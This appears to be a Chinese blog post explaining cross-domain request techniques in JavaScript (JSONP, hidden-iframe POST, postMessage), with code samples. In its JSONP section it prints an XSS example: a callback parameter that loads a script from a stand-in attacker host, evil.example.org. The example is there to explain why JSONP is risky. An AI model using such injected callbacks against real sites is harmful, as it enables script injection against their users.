Justin's Words

JavaScript 跨域请求

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以下是一个 ECMAScript6 版本的 JSONP 方法：

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let jsonpLoad = (url) => {
    let index = 0;
    const timeout = 5000;

    Element.prototype.remove = function() {
    this.parentNode.removeChild(this);
    };

    return new Promise((resolve, reject) => {
    const callback = `__callback${index++}`;
    const timeoutID = window.setTimeout(() => {
        reject(new Error('Request timeout.'));
    }, timeout);

    const script = document.createElement('script');
    script.type = 'text/javascript';
    script.async = true;
    script.src = `${url}${!~url.indexOf('?')? '?': '&'}callback=${callback}`;
    document.querySelector('head').appendChild(script);

    window[callback] = res => {
        script.remove();
        window.clearTimeout(timeoutID);
        resolve(res);
    }
    });
};

jsonp 的缺点是容易导致 XSS 跨域攻击，比如下面这个：

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http://example.org/api.php?callback=$.getScript('//evil.example.org/xss.js');var dontcare=(

会变为这样：

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$.getScript('http://evil.example.org/xss.js');var dontcare= ({ ... });

所以 jsonp 只能用在自己信任的站点。

下面是一个跨域的 post 请求，但只能 post，不能获得 post 返回的数据，原理是创建一个 iframe 进行 post：

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'use strict';

let crossDomainPost = (url, name, value) => {
    Element.prototype.remove = () => {
        this.parentNode.removeChild(this);
    }

    let iframe = document.createElement('iframe');
    let uniqueString = 'CHANGE_THIS_TO_SOME_UNIQUE_STRING';
    document.body.appendChild(iframe);
    iframe.style.display = 'none';
    iframe.contentWindow.name = uniqueString;

    let form = document.createElement('form');
    form.target = uniqueString;
    form.action = url;
    form.method = 'POST';

    let input = document.createElement('input');
    input.type = 'hidden';
    input.name = name;
    input.value = value;
    form.appendChild(input);

    document.body.appendChild(form);
    form.submit();

    setTimeout(() => {
        iframe.remove();
        form.remove();
    }, 5000);
}

另外一个是 postMessage 跨域请求，解释请看html5 postMessage解决跨域、跨窗口消息传递
页面 A：

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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>A</title>
</head>

<body>
    <iframe src="http://localhost:3002/B/index.html" frameborder="0" width="200" height="100"></iframe>

    <script>
        window.onload = () => {
            window.frames[0].postMessage('A-getcolor', 'http://localhost:3002');

            window.addEventListener('message', ev => {
                console.log(ev.origin, ev.data);
            });
        }
    </script>
</body>
</html>

页面 B：

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<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>B</title>
</head>

<body>
    <h1>I am from B</h1>

    <script>
        window.addEventListener('message', ev => {
            console.log(ev, ev.origin, ev.data);
            if (ev.source !== window.parent) return;
            window.parent.postMessage('B-color', 'http://localhost:3000');
        }, false);
    </script>
</body>
</html>

参考：